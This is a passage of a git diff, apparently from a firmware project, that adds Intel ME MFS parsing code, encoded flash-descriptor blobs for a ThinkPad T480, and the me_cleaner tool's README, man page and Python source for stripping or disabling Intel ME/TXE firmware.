CHUNK_CRC_SIZE = 2 # Size of CRC16 + CHUNKS_PER_DATA_PAGE = 122 # 122 chunks per Data page + CHUNKS_PER_SYSTEM_PAGE = 120 # 120 chunks per System page + + CRC8TabLo = bytearray([0, 7, 14, 9, 28, 27, 18, 21, 56, 63, 54, 49, 36, 35, 42, 45]) + CRC8TabHi = bytearray([0, 112, 224, 144, 199, 183, 39, 87, 137, 249, 105, 25, 78, 62, 174, 222]) + CRC16Tab = [0]*256 + for i in range(256): + r = i << 8 + for j in range(8): r = (r << 1) ^ (0x1021 if r & 0x8000 else 0) + CRC16Tab[i] = r & 0xFFFF + + def __init__(self, data): + self.data = data + self.size = len(self.data) + assert self.size % self.PAGE_SIZE == 0 + + self.num_pages = self.size // self.PAGE_SIZE # Total number of pages + self.num_sys_pages = self.num_pages // 12 # Number of System pages + self.num_data_pages = self.num_pages - self.num_sys_pages - 1 # Number of Data pages + self.capacity = self.num_data_pages * self.CHUNKS_PER_DATA_PAGE * self.CHUNK_SIZE + + self.data_pages = [] + self.sys_pages = [] + self.to_be_erased = None + for page in range(self.num_pages): + page = MFSPage(self.data[page * self.PAGE_SIZE:(page + 1) * self.PAGE_SIZE], page) # Load page + if page.isToBeErased(): + assert self.to_be_erased == None + self.to_be_erased = page + elif page.isSystemPage(): + self.sys_pages.append(page) + else: + self.data_pages.append(page) + + assert self.num_sys_pages == len(self.sys_pages) + assert self.num_data_pages == len(self.data_pages) + + self.sys_pages.sort(key=cmp_to_key(MFSPage.__cmp__)) + self.data_pages.sort(key=cmp_to_key(MFSPage.__cmp__)) + + self.system_volume = MFSSystemVolume(self.sys_pages, self.data_pages) + + + def getSystemVolume(self): + return self.system_volume + + def generate(self): + for sys_page in self.sys_pages: + sys_page.resetChunks() + for data_page in self.data_pages: + data_page.resetChunks() + + self.system_volume.generate() + system_chunks = self.system_volume.generateChunks() + for i in range(0, len(self.sys_pages)): + chunks = system_chunks[i * MFS.CHUNKS_PER_SYSTEM_PAGE: (i+1) * MFS.CHUNKS_PER_SYSTEM_PAGE] + self.sys_pages[i].setChunks(chunks) + self.sys_pages[i].generate() + + for file in self.system_volume.iterateFiles(): + chunks = file.generateChunks() + for chunk in chunks: + data_page_idx = (chunk.id - self.system_volume.total_chunks) // MFS.CHUNKS_PER_DATA_PAGE + self.data_pages[data_page_idx].addChunk(chunk) + for data_page in self.data_pages: + data_page.generate() + self.data = b"" + for sys_page in self.sys_pages: + self.data += sys_page.data + for data_page in self.data_pages: + self.data += data_page.data + self.data += self.to_be_erased.data + + def __str__(self): + res = f"Pages : {self.num_pages} ({self.num_sys_pages} System && {self.num_data_pages} Data)\nSystem Pages:\n" + for i in range(self.num_sys_pages): + res += f" {i}: {self.sys_pages[i]}\n" + res += "Data Pages:\n" + for i in range(self.num_data_pages): + res += f" {i}: {self.data_pages[i]}\n" + res += f"\nSystem Volume : \n{self.system_volume}" + return res + + @staticmethod + def CrcIdx(w, crc=0x3FFF): + for b in bytearray(struct.pack("> 8)] ^ (crc << 8)) & 0x3FFF + return crc + + @staticmethod + def Crc16(ab, crc=0xFFFF): + for b in bytearray(ab): + crc = (MFS.CRC16Tab[b ^ (crc >> 8)] ^ (crc << 8)) & 0xFFFF + return crc + + @staticmethod + def Crc8(ab): + csum = 1 + for b in bytearray(ab): + b ^= csum + csum = MFS.CRC8TabLo[b & 0xF] ^ MFS.CRC8TabHi[b >> 4] + return csum + +class MFSPage(object): + PAGE_HEADER_FMT = struct.Struct("= self.first_chunk and \ + id < self.first_chunk + MFS.CHUNKS_PER_DATA_PAGE: + return self.chunks[id - self.first_chunk] + return None + + def resetChunks(self): + if self.isSystemPage(): + self.chunks = [] + else: + self.chunks = [None] * MFS.CHUNKS_PER_DATA_PAGE + + def setChunks(self, chunks): + self.chunks = chunks + + def addChunk(self, chunk): + id = chunk.id + assert self.isDataPage() and \ + id >= self.first_chunk and \ + id < self.first_chunk + MFS.CHUNKS_PER_DATA_PAGE + self.chunks[id - self.first_chunk] = chunk + + def generate(self): + data = self.PAGE_HEADER_FMT.pack(self.signature, self.USN, self.num_erase, self.next_erase, + self.first_chunk, 0, 0) + crc = MFS.Crc8(data[:-2]) + data = self.PAGE_HEADER_FMT.pack(self.signature, self.USN, self.num_erase, self.next_erase, + self.first_chunk, crc, 0) + if self.isSystemPage(): + assert len(self.chunks) <= MFS.CHUNKS_PER_SYSTEM_PAGE + chunk_ids = [] + last_chunk_id = 0 + for i, chunk in enumerate(self.chunks): + chunk_ids.append(MFS.CrcIdx(last_chunk_id) ^ chunk.id) + last_chunk_id = chunk.id + if len(self.chunks) == MFS.CHUNKS_PER_SYSTEM_PAGE or len(self.chunks) == 0: + chunk_ids.append(0xFFFF) + else: + # Use case of exactly 120 chunks in the last system page... + chunk_ids.append(0x7FFF) + chunk_ids += [0xFFFF] * (MFS.CHUNKS_PER_SYSTEM_PAGE - len(self.chunks)) + assert len(chunk_ids) == MFS.CHUNKS_PER_SYSTEM_PAGE + 1 + data += self.SYSTEM_PAGE_INDICES_FMT.pack(*chunk_ids) + for chunk in self.chunks: + data += chunk.getRawData() + data += b'\xFF' * ((MFS.CHUNKS_PER_SYSTEM_PAGE - len(self.chunks)) * \ + (MFS.CHUNK_SIZE + MFS.CHUNK_CRC_SIZE) + 0xC) + else: + assert len(self.chunks) == MFS.CHUNKS_PER_DATA_PAGE + data_free = [] + for i, chunk in enumerate(self.chunks): + if chunk: + assert chunk.id == self.first_chunk + i + data_free.append(0) + else: + data_free.append(0xFF) + data += self.DATA_PAGE_INDICES_FMT.pack(*data_free) + for i, chunk in enumerate(self.chunks): + if chunk: + data += chunk.getRawData() + else: + data += b"\xFF" * (MFS.CHUNK_SIZE + MFS.CHUNK_CRC_SIZE) + assert len(data) == MFS.PAGE_SIZE + self.data = data + + def __cmp__(self, other): + assert self.signature == other.signature and not self.isToBeErased() + assert self.isSystemPage() == other.isSystemPage() + if self.isSystemPage(): + return cmp(self.USN, other.USN) + else: + return cmp(self.first_chunk, other.first_chunk) + + def __str__(self): + if self.isToBeErased(): + return "ToBeErased" + if self.isSystemPage(): + chunk_ids = set() + for i in range(len(self.chunks)): + chunk_ids.add(str(self.chunks[i].id)) + chunk_ids = list(chunk_ids) + chunk_ids.sort() + res = "System-%d (USN: 0x%X): %s" % (self.page_id, self.USN, ", ".join(chunk_ids)) + else: + res = "Data-%d: %X" % (self.page_id, self.first_chunk) + return res + + def __repr__(self): + return str(self) + +class MFSChunk(object): + def __init__(self, data, chunk_id, raw=True): + self.chunk_id = chunk_id + if raw: + assert len(data) == MFS.CHUNK_SIZE + 2 + self.data = data[:-2] + self.crc, = struct.unpack(" 0: + data_chunk_idx = chain - self.num_files + page_idx = data_chunk_idx // MFS.CHUNKS_PER_DATA_PAGE + chunk = data_pages[page_idx].getChunk(self.total_chunks + data_chunk_idx) + next_chain = self.data_ids[data_chunk_idx] + size = MFS.CHUNK_SIZE if next_chain > MFS.CHUNK_SIZE else next_chain + self.files[id].addChunk(chunk, size) + if next_chain <= MFS.CHUNK_SIZE: + break + chain = next_chain + + @property + def numFiles(self): + return self.num_files + + def getFile(self, id): + if id >= 0 and id <= self.num_files: + return self.files[id] + return None + + def iterateFiles(self): + for id in range(self.num_files): + if self.files[id]: + yield self.files[id] + + def removeFile(self, id): + if id < 0 or id > self.num_files: + return + file = self.files[id] + if file is None: + return + self.files[id] = None + chain = self.file_ids[id] + self.file_ids[id] = 0 + while chain > MFS.CHUNK_SIZE: + next_chain = self.data_ids[chain - self.num_files] + self.data_ids[chain - self.num_files] = 0 + chain = next_chain + + def addFile(self, id, data, optimize=True): + self.removeFile(id) + file = MFSFile(id) + size = len(data) + data_chain = [] + for offset in range(0, size, MFS.CHUNK_SIZE): + if optimize: + chain = self.getNextFreeDataChunk() + else: + chain = self.getLastFreeDataChunk() + if chain == -1: + # If not enough space, free previously set chains + for chain in data_chain: + self.data_ids[chain] = 0 + return False + file.addData(self.total_chunks + chain, data[offset:offset+MFS.CHUNK_SIZE]) + if len(data_chain) > 0: + self.data_ids[data_chain[-1]] = chain + self.num_files + data_chain.append(chain) + self.data_ids[chain] = size - offset + if len(data_chain) > 0: + self.file_ids[id] = data_chain[0] + self.num_files + else: + # Empty file + self.file_ids[id] = 0xFFFF + self.files[id] = file + + def getNextFreeDataChunk(self): + for i, chain in enumerate(self.data_ids): + if chain == 0: + return i + return -1 + + def getLastFreeDataChunk(self): + for i, chain in reversed(list(enumerate(self.data_ids))): + if chain == 0: + return i + return -1 + + def generate(self): + data = self.SYSTEM_VOLUME_HEADER_FMT.pack(self.signature, self.version, self.capacity, self.num_files) + \ + struct.pack("<%dH" % self.num_files, *self.file_ids) + \ + struct.pack("<%dH" % len (self.data_ids), *self.data_ids) + total_data_size = (len(data) + MFS.CHUNK_SIZE - 1) & ~(MFS.CHUNK_SIZE - 1) + self.data = data.ljust(total_data_size, b'\0') + + def generateChunks(self): + self.generate() + empty_data = b'\0' * MFS.CHUNK_SIZE + chunks = [] + for offset in range(0, len(self.data), MFS.CHUNK_SIZE): + data = self.data[offset:offset + MFS.CHUNK_SIZE] + if data == empty_data: + continue + chunk = MFSChunk(data, offset // MFS.CHUNK_SIZE, False) + chunks.append(chunk) + return chunks + + def _listDirRecursive(self, file, integrity, prefix): + for dirent in file.decodeDir(integrity): + # Skip relative references + if dirent.name == "." or dirent.name == "..": + continue + # Absolute path to this file + path = prefix + "/" + dirent.name + file = self.getFile(dirent.id()) + # Yield field itself + yield path, file.decodeData(dirent.integrity()) + # Recursively yield entries if it is a subdirectory + if dirent.directory(): + yield from self._listDirRecursive(file, dirent.integrity(), prefix=path) + + def listDir(self, id, integrity, prefix): + file = self.getFile(id) + # Yield the root itself + yield prefix, file.decodeData(integrity) + # List its subdirectories + yield from self._listDirRecursive(file, integrity, prefix) + + def __str__(self): + res = f"Total of {self.num_files} file entries\n" + for i, f in enumerate(self.files): + if f: + res += f"{i}: {f}\n" + return res + +DIRECTORY_ENTRY_SIZE = 24 +INTEGRITY_BLOB_SIZE = 52 + +class MFSFile(object): + def __init__(self, id): + self.id = id + self.chain = [] + self.data = b"" + + def addChunk(self, chunk, size): + self.chain.append(chunk.id) + self.data = self.data + chunk.data[:size] + + def addData(self, id, data): + self.chain.append(id) + self.data = self.data + data + + def generateChunks(self): + chunks = [] + for i, chain in enumerate(self.chain): + data = self.data[i * MFS.CHUNK_SIZE:(i + 1) * MFS.CHUNK_SIZE] + data = data.ljust(MFS.CHUNK_SIZE, b'\0') + chunk = MFSChunk(data, chain, False) + chunks.append(chunk) + return chunks + + def decodeData(self, integrity): + if integrity: + return self.data[:-INTEGRITY_BLOB_SIZE] + return self.data + + def decodeDir(self, integrity): + data = self.decodeData(integrity) + # Decode directory entries + for i in range(0, len(data), DIRECTORY_ENTRY_SIZE): + yield MFSDirectoryEntry(data[i:i + DIRECTORY_ENTRY_SIZE]) + + def __str__(self): + return f"File {self.id} has {len(self.data)} bytes (Chain: {self.chain})" + +class MFSDirectoryEntry: + FILE = 0 + DIR = 1 + + def __init__(self, data): + self.fileno, self.mode, self.uid, self.gid, self.salt, self.name = \ + struct.unpack("*0*Nz!8Ca^?_b zye_(S*LBewU=qXvYHeWfYvTZEVP{}aPyjLbfS8fNK|_e$;XejoVEX@G*c+q_6Ce~% z*}%ZT#lSLQgS&&up@WLQ8xrIh7(4_R9Dp>-ML`B;E+L?Hc?Rw+20(ia8CZa{F_2~h z(y~CB@vi}c&KyGqpKS&VtUx}(usV z?Hdh&K@$R_{eR+mYoq;t;=*ZE73m=`XbOW-hm3~6Xb6mkz-S1JhQMeD&?N*0y8jOV DMy`QA literal 0 HcmV?d00001 diff --git a/blobs/t480/ifd_16.bin b/blobs/t480/ifd_16.bin new file mode 100644 index 0000000000000000000000000000000000000000..cdeaee4a484065cb6ab65e22c9d28d63117a1ddc GIT binary patch literal 4096 zcmeH~u}T9$5QhJ~&0!M6oW#Hhf-9KDDk|27z>&sA@EWmD@Bz|TSS6Lcl}})4En14; zWB3S35wST~|G7JYM>J)SxO4n7+|2IG?swH$TeQ>rQB9+SvKMq(dKbm2wI4X!+v=P@ zJU+d?Ne#3$Wx1!W6g=2Iev$3}^vHmTq*>lmde6gvV?fE^@5aPbPBV9RR4inRdQ55$ zxXfELc0dw9nKD$HI-meQ^(*wU^P~ajJST-KmTyN@`cwj6{u-Y-pk=XtRI3o}5b-e47h z&~fGnI0BA= 11) the ME subsystem and the firmware +structure have changed, requiring substantial changes in _me\_cleaner_. +The fundamental modules required for the correct boot are now four (`rbe`, +`kernel`, `syslib` and `bup`) and the minimum code size is ~300 kB of compressed +code (from the 2 MB of the non-AMT firmware and the 7 MB of the AMT one). + +On some boards the OEM firmware fails to boot without a valid Intel ME firmware; +in the other cases the system should work with minor inconveniences (like longer +boot times or warning messages) or without issues at all. + +Obviously, the features provided by Intel ME won't be functional anymore after +the modifications. + +## Documentation + +The detailed documentation about the working of _me\_cleaner_ can be found on +the page ["How does it work?" page]( +https://github.com/corna/me_cleaner/wiki/How-does-it-work%3F). + +Various guides and tutorials are available on the Internet, however a good +starting point is the ["How to apply me_cleaner" guide]( +https://github.com/corna/me_cleaner/wiki/How-to-apply-me_cleaner). diff --git a/blobs/t480/me_cleaner/description.md b/blobs/t480/me_cleaner/description.md new file mode 100644 index 000000000..d5de2d5c5 --- /dev/null +++ b/blobs/t480/me_cleaner/description.md @@ -0,0 +1,2 @@ +__[me_cleaner](https://github.com/corna/me_cleaner)__ - Tool for +partial deblobbing of Intel ME/TXE firmware images `Python` diff --git a/blobs/t480/me_cleaner/man/me_cleaner.1 b/blobs/t480/me_cleaner/man/me_cleaner.1 new file mode 100644 index 000000000..8edd22627 --- /dev/null +++ b/blobs/t480/me_cleaner/man/me_cleaner.1 @@ -0,0 +1,157 @@ +.TH me_cleaner 1 "JUNE 2018" +.SH me_cleaner +.PP +me_cleaner \- Tool for partial deblobbing of Intel ME/TXE firmware images +.SH SYNOPSIS +.PP +\fB\fCme_cleaner.py\fR [\-h] [\-v] [\-O output_file] [\-S | \-s] [\-r] [\-k] +[\-w whitelist | \-b blacklist] [\-d] [\-t] [\-c] [\-D output_descriptor] +[\-M output_me_image] \fIfile\fP +.SH DESCRIPTION +.PP +\fB\fCme_cleaner\fR is a tool able to disable parts of Intel ME/TXE by: +.RS +.IP \(bu 2 +removing most of the code from its firmware +.IP \(bu 2 +setting a special bit to force it to disable itself after the hardware +initialization +.RE +.PP +Using both the modes seems to be the most reliable way on many platforms. +.PP +The resulting modified firmware needs to be flashed (in most of the cases) with +an external programmer, often a dedicated SPI programmer or a Linux board with +a SPI master interface. +.PP +\fB\fCme_cleaner\fR works at least from Nehalem to Coffee Lake (for Intel ME) and on +Braswell/Cherry Trail (for Intel TXE), but may work as well on newer or +different architectures. +.PP +While \fB\fCme_cleaner\fR have been tested on a great number of platforms, fiddling +with the Intel ME/TXE firmware is \fIvery dangerous\fP and can easily lead to a +dead PC. +.PP +\fIYOU HAVE BEEN WARNED.\fP +.SH POSITIONAL ARGUMENTS +.TP +\fB\fCfile\fR +ME/TXE image or full dump. +.SH OPTIONAL ARGUMENTS +.TP +\fB\fC\-h\fR, \fB\fC\-\-help\fR +Show the help message and exit. +.TP +\fB\fC\-v\fR, \fB\fC\-\-version\fR +Show program's version number and exit. +.TP +\fB\fC\-O\fR, \fB\fC\-\-output\fR +Save the modified image in a separate file, instead of modifying the +original file. +.TP +\fB\fC\-S\fR, \fB\fC\-\-soft\-disable\fR +In addition to the usual operations on the ME/TXE firmware, set the +MeAltDisable bit or the HAP bit to ask Intel ME/TXE to disable itself after +the hardware initialization (requires a full dump). +.TP +\fB\fC\-s\fR, \fB\fC\-\-soft\-disable\-only\fR +Instead of the usual operations on the ME/TXE firmware, just set the +MeAltDisable bit or the HAP bit to ask Intel ME/TXE to disable itself after +the hardware initialization (requires a full dump). +.TP +\fB\fC\-r\fR, \fB\fC\-\-relocate\fR +Relocate the FTPR partition to the top of the ME region to save even more +space. +.TP +\fB\fC\-t\fR, \fB\fC\-\-truncate\fR +Truncate the empty part of the firmware (requires a separated ME/TXE image or +\fB\fC\-\-extract\-me\fR). +.TP +\fB\fC\-k\fR, \fB\fC\-\-keep\-modules\fR +Don't remove the FTPR modules, even when possible. +.TP +\fB\fC\-w\fR, \fB\fC\-\-whitelist\fR +Comma separated list of additional partitions to keep in the final image. +This can be used to specify the MFS partition for example, which stores PCIe +and clock settings. +.TP +\fB\fC\-b\fR, \fB\fC\-\-blacklist\fR +Comma separated list of partitions to remove from the image. This option +overrides the default removal list. +.TP +\fB\fC\-d\fR, \fB\fC\-\-descriptor\fR +Remove the ME/TXE Read/Write permissions to the other regions on the flash +from the Intel Flash Descriptor (requires a full dump). +.TP +\fB\fC\-D\fR, \fB\fC\-\-extract\-descriptor\fR +Extract the flash descriptor from a full dump; when used with \fB\fC\-\-truncate\fR +save a descriptor with adjusted regions start and end. +.TP +\fB\fC\-M\fR, \fB\fC\-\-extract\-me\fR +Extract the ME firmware from a full dump; when used with \fB\fC\-\-truncate\fR save a +truncated ME/TXE image. +.TP +\fB\fC\-c\fR, \fB\fC\-\-check\fR +Verify the integrity of the fundamental parts of the firmware and exit. +.SH SUPPORTED PLATFORMS +.PP +Currently \fB\fCme_cleaner\fR has been tested on the following platforms: +.TS +allbox; +cb cb cb cb +c c c c +c c c c +c c c c +c c c c +c c c c +c c c c +c c c c +c c c c +. +PCH CPU ME SKU +Ibex Peak Nehalem/Westmere 6.0 Ignition +Ibex Peak Nehalem/Westmere 6.x 1.5/5 MB +Cougar Point Sandy Bridge 7.x 1.5/5 MB +Panther Point Ivy Bridge 8.x 1.5/5 MB +Lynx/Wildcat Point Haswell/Broadwell 9.x 1.5/5 MB +Wildcat Point LP Broadwell Mobile 10.0 1.5/5 MB +Sunrise Point Skylake/Kabylake 11.x CON/COR +Union Point Kabylake 11.x CON/COR +.TE +.TS +allbox; +cb cb cb +c c c +. +SoC TXE SKU +Braswell/Cherry Trail 2.x 1.375 MB +.TE +.PP +All the reports are available on the project's GitHub page \[la]https://github.com/corna/me_cleaner/issues/3\[ra]\&. +.SH EXAMPLES +.PP +Check whether the provided image has a valid structure and signature: +.IP +\fB\fCme_cleaner.py \-c dumped_firmware.bin\fR +.PP +Remove most of the Intel ME firmware modules but don't set the HAP/AltMeDisable +bit: +.IP +\fB\fCme_cleaner.py \-S \-O modified_me_firmware.bin dumped_firmware.bin\fR +.PP +Remove most of the Intel ME firmware modules and set the HAP/AltMeDisable bit, +disable the Read/Write access of Intel ME to the other flash region, then +relocate the code to the top of the image and truncate it, extracting a modified +descriptor and ME image: +.IP +\fB\fCme_cleaner.py \-S \-r \-t \-d \-D ifd_shrinked.bin \-M me_shrinked.bin \-O modified_firmware.bin full_dumped_firmware.bin\fR +.SH BUGS +.PP +Bugs should be reported on the project's GitHub page \[la]https://github.com/corna/me_cleaner\[ra]\&. +.SH AUTHOR +.PP +Nicola Corna \[la]nicola@corna.info\[ra] +.SH SEE ALSO +.PP +.BR flashrom (8), +me_cleaner's Wiki \[la]https://github.com/corna/me_cleaner/wiki\[ra] diff --git a/blobs/t480/me_cleaner/me_cleaner.py b/blobs/t480/me_cleaner/me_cleaner.py new file mode 100755 index 000000000..fae5e5673 --- /dev/null +++ b/blobs/t480/me_cleaner/me_cleaner.py @@ -0,0 +1,884 @@ +#!/usr/bin/env python +# me_cleaner - Tool for partial deblobbing of Intel ME/TXE firmware images +# SPDX-License-Identifier: GPL-3.0-or-later + +from __future__ import division, print_function + +import argparse +import binascii +import hashlib +import itertools +import shutil +import sys +from struct import pack, unpack + + +min_ftpr_offset = 0x400 +spared_blocks = 4 +unremovable_modules = ("ROMP", "BUP") +unremovable_modules_me11 = ("rbe", "kernel", "syslib", "bup") +unremovable_partitions = ("FTPR",) + +pubkeys_md5 = { + "763e59ebe235e45a197a5b1a378dfa04": ("ME", ("6.x.x.x",)), + "3a98c847d609c253e145bd36512629cb": ("ME", ("6.0.50.x",)), + "0903fc25b0f6bed8c4ed724aca02124c": ("ME", ("7.x.x.x", "8.x.x.x")), + "2011ae6df87c40fba09e3f20459b1ce0": ("ME", ("9.0.x.x", "9.1.x.x")), + "e8427c5691cf8b56bc5cdd82746957ed": ("ME", ("9.5.x.x", "10.x.x.x")), + "986a78e481f185f7d54e4af06eb413f6": ("ME", ("11.x.x.x",)), + "bda0b6bb8ca0bf0cac55ac4c4d55e0f2": ("TXE", ("1.x.x.x",)), + "b726a2ab9cd59d4e62fe2bead7cf6997": ("TXE", ("1.x.x.x",)), + "0633d7f951a3e7968ae7460861be9cfb": ("TXE", ("2.x.x.x",)), + "1d0a36e9f5881540d8e4b382c6612ed8": ("TXE", ("3.x.x.x",)), + "be900fef868f770d266b1fc67e887e69": ("SPS", ("2.x.x.x",)), + "4622e3f2cb212a89c90a4de3336d88d2": ("SPS", ("3.x.x.x",)), + "31ef3d950eac99d18e187375c0764ca4": ("SPS", ("4.x.x.x",)) +} + + +class OutOfRegionException(Exception): + pass + + +class RegionFile: + def __init__(self, f, region_start, region_end): + self.f = f + self.region_start = region_start + self.region_end = region_end + + def read(self, n): + if f.tell() + n <= self.region_end: + return self.f.read(n) + else: + raise OutOfRegionException() + + def readinto(self, b): + if f.tell() + len(b) <= self.region_end: + return self.f.readinto(b) + else: + raise OutOfRegionException() + + def seek(self, offset): + if self.region_start + offset <= self.region_end: + return self.f.seek(self.region_start + offset) + else: + raise OutOfRegionException() + + def write_to(self, offset, data): + if self.region_start + offset + len(data) <= self.region_end: + self.f.seek(self.region_start + offset) + return self.f.write(data) + else: + raise OutOfRegionException() + + def fill_range(self, start, end, fill): + if self.region_start + end <= self.region_end: + if start < end: + block = fill * 4096 + self.f.seek(self.region_start + start) + self.f.writelines(itertools.repeat(block, + (end - start) // 4096)) + self.f.write(block[:(end - start) % 4096]) + else: + raise OutOfRegionException() + + def fill_all(self, fill): + self.fill_range(0, self.region_end - self.region_start, fill) + + def move_range(self, offset_from, size, offset_to, fill): + if self.region_start + offset_from + size <= self.region_end and \ + self.region_start + offset_to + size <= self.region_end: + for i in range(0, size, 4096): + self.f.seek(self.region_start + offset_from + i, 0) + block = self.f.read(min(size - i, 4096)) + self.f.seek(self.region_start + offset_from + i, 0) + self.f.write(fill * len(block)) + self.f.seek(self.region_start + offset_to + i, 0) + self.f.write(block) + else: + raise OutOfRegionException() + + def save(self, filename, size): + if self.region_start + size <= self.region_end: + self.f.seek(self.region_start) + copyf = open(filename, "w+b") + for i in range(0, size, 4096): + copyf.write(self.f.read(min(size - i, 4096))) + return copyf + else: + raise OutOfRegionException() + + +def get_chunks_offsets(llut): + chunk_count = unpack("> 4) & 7 + + print(" {:<16} ({:<7}, ".format(name, comp_str[comp_type]), end="") + + if comp_type == 0x00 or comp_type == 0x02: + print("0x{:06x} - 0x{:06x} ): " + .format(offset, offset + size), end="") + + if name in unremovable_modules: + end_addr = max(end_addr, offset + size) + print("NOT removed, essential") + else: + end = min(offset + size, me_end) + f.fill_range(offset, end, b"\xff") + print("removed") + + elif comp_type == 0x01: + if not chunks_offsets: + f.seek(offset) + llut = f.read(4) + if llut == b"LLUT": + llut += f.read(0x3c) + + chunk_count = unpack(" removable_chunk[0]: + end = min(removable_chunk[1], me_end) + f.fill_range(removable_chunk[0], end, b"\xff") + + end_addr = max(end_addr, + max(unremovable_huff_chunks, key=lambda x: x[1])[1]) + + return end_addr + + +def check_partition_signature(f, offset): + f.seek(offset) + header = f.read(0x80) + modulus = int(binascii.hexlify(f.read(0x100)[::-1]), 16) + public_exponent = unpack("> 4) & 7 == 0x01: + llut_start = unpack("> 25 + + modules.append((name, offset, comp_type)) + + modules.sort(key=lambda x: x[1]) + + for i in range(0, module_count): + name = modules[i][0] + offset = partition_offset + modules[i][1] + end = partition_offset + modules[i + 1][1] + removed = False + + if name.endswith(".man") or name.endswith(".met"): + compression = "uncompressed" + else: + compression = comp_str[modules[i][2]] + + print(" {:<12} ({:<12}, 0x{:06x} - 0x{:06x}): " + .format(name, compression, offset, end), end="") + + if name.endswith(".man"): + print("NOT removed, partition manif.") + elif name.endswith(".met"): + print("NOT removed, module metadata") + elif any(name.startswith(m) for m in unremovable_modules_me11): + print("NOT removed, essential") + else: + removed = True + f.fill_range(offset, min(end, me_end), b"\xff") + print("removed") + + if not removed: + end_data = max(end_data, end) + + if relocate: + new_offset = relocate_partition(f, me_end, 0x30, min_offset, []) + end_data += new_offset - partition_offset + partition_offset = new_offset + + return end_data, partition_offset + + +def check_mn2_tag(f, offset): + f.seek(offset + 0x1c) + tag = f.read(4) + if tag != b"$MN2": + sys.exit("Wrong FTPR manifest tag ({}), this image may be corrupted" + .format(tag)) + + +def flreg_to_start_end(flreg): + return (flreg & 0x7fff) << 12, (flreg >> 4 & 0x7fff000 | 0xfff) + 1 + + +def start_end_to_flreg(start, end): + return (start & 0x7fff000) >> 12 | ((end - 1) & 0x7fff000) << 4 + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Tool to remove as much code " + "as possible from Intel ME/TXE firmware " + "images") + softdis = parser.add_mutually_exclusive_group() + bw_list = parser.add_mutually_exclusive_group() + + parser.add_argument("-v", "--version", action="version", + version="%(prog)s 1.2") + + parser.add_argument("file", help="ME/TXE image or full dump") + parser.add_argument("-O", "--output", metavar='output_file', help="save " + "the modified image in a separate file, instead of " + "modifying the original file") + softdis.add_argument("-S", "--soft-disable", help="in addition to the " + "usual operations on the ME/TXE firmware, set the " + "MeAltDisable bit or the HAP bit to ask Intel ME/TXE " + "to disable itself after the hardware initialization " + "(requires a full dump)", action="store_true") + softdis.add_argument("-s", "--soft-disable-only", help="instead of the " + "usual operations on the ME/TXE firmware, just set " + "the MeAltDisable bit or the HAP bit to ask Intel " + "ME/TXE to disable itself after the hardware " + "initialization (requires a full dump)", + action="store_true") + parser.add_argument("-r", "--relocate", help="relocate the FTPR partition " + "to the top of the ME region to save even more space", + action="store_true") + parser.add_argument("-t", "--truncate", help="truncate the empty part of " + "the firmware (requires a separated ME/TXE image or " + "--extract-me)", action="store_true") + parser.add_argument("-k", "--keep-modules", help="don't remove the FTPR " + "modules, even when possible", action="store_true") + bw_list.add_argument("-w", "--whitelist", metavar="whitelist", + help="Comma separated list of additional partitions " + "to keep in the final image. This can be used to " + "specify the MFS partition for example, which stores " + "PCIe and clock settings.") + bw_list.add_argument("-b", "--blacklist", metavar="blacklist", + help="Comma separated list of partitions to remove " + "from the image. This option overrides the default " + "removal list.") + parser.add_argument("-d", "--descriptor", help="remove the ME/TXE " + "Read/Write permissions to the other regions on the " + "flash from the Intel Flash Descriptor (requires a " + "full dump)", action="store_true") + parser.add_argument("-D", "--extract-descriptor", + metavar='output_descriptor', help="extract the flash " + "descriptor from a full dump; when used with " + "--truncate save a descriptor with adjusted regions " + "start and end") + parser.add_argument("-M", "--extract-me", metavar='output_me_image', + help="extract the ME firmware from a full dump; when " + "used with --truncate save a truncated ME/TXE image") + parser.add_argument("-c", "--check", help="verify the integrity of the " + "fundamental parts of the firmware and exit", + action="store_true") + + args = parser.parse_args() + + if args.check and (args.soft_disable_only or args.soft_disable or + args.relocate or args.descriptor or args.truncate or args.output): + sys.exit("-c can't be used with -S, -s, -r, -d, -t or -O") + + if args.soft_disable_only and (args.relocate or args.truncate): + sys.exit("-s can't be used with -r or -t") + + if (args.whitelist or args.blacklist) and args.relocate: + sys.exit("Relocation is not yet supported with custom whitelist or " + "blacklist") + + f = open(args.file, "rb" if args.check or args.output else "r+b") + f.seek(0x10) + magic = f.read(4) + + if magic == b"$FPT": + print("ME/TXE image detected") + + if args.descriptor or args.extract_descriptor or args.extract_me or \ + args.soft_disable or args.soft_disable_only: + sys.exit("-d, -D, -M, -S and -s require a full dump") + + f.seek(0, 2) + me_start = 0 + me_end = f.tell() + mef = RegionFile(f, me_start, me_end) + + elif magic == b"\x5a\xa5\xf0\x0f": + print("Full image detected") + + if args.truncate and not args.extract_me: + sys.exit("-t requires a separated ME/TXE image (or --extract-me)") + + f.seek(0x14) + flmap0, flmap1 = unpack("> 12 & 0xff0 + fmba = (flmap1 & 0xff) << 4 + fpsba = flmap1 >> 12 & 0xff0 + + f.seek(frba) + flreg = unpack("= me_end: + sys.exit("The ME/TXE region in this image has been disabled") + + mef = RegionFile(f, me_start, me_end) + + mef.seek(0x10) + if mef.read(4) != b"$FPT": + sys.exit("The ME/TXE region is corrupted or missing") + + print("The ME/TXE region goes from {:#x} to {:#x}" + .format(me_start, me_end)) + else: + sys.exit("Unknown image") + + end_addr = me_end + + print("Found FPT header at {:#x}".format(mef.region_start + 0x10)) + + mef.seek(0x14) + entries = unpack("= 0: + check_mn2_tag(mef, ftpr_offset + ftpr_mn2_offset) + print("Found FTPR manifest at {:#x}" + .format(ftpr_offset + ftpr_mn2_offset)) + else: + sys.exit("Can't find the manifest of the FTPR partition") + + else: + check_mn2_tag(mef, ftpr_offset) + me11 = False + ftpr_mn2_offset = 0 + + mef.seek(ftpr_offset + ftpr_mn2_offset + 0x24) + version = unpack("= 6: + variant = "ME" + else: + variant = "TXE" + print("WARNING Unknown public key {}\n" + " Assuming Intel {}\n" + " Please report this warning to the project's maintainer!" + .format(pubkey_md5, variant)) + + if not args.check and args.output: + f.close() + shutil.copy(args.file, args.output) + f = open(args.output, "r+b") + + mef = RegionFile(f, me_start, me_end) + + if me_start > 0: + fdf = RegionFile(f, fd_start, fd_end) + + if me11: + fdf.seek(fpsba) + pchstrp0 = unpack(" me_end: + print(" {:<4} ({:^24}, 0x{:08x} total bytes): nothing to " + "remove" + .format(part_name, "no data here", part_length)) + else: + print(" {:<4} (0x{:08x} - 0x{:09x}, 0x{:08x} total bytes): " + .format(part_name, part_start, part_end, part_length), + end="") + if part_name in 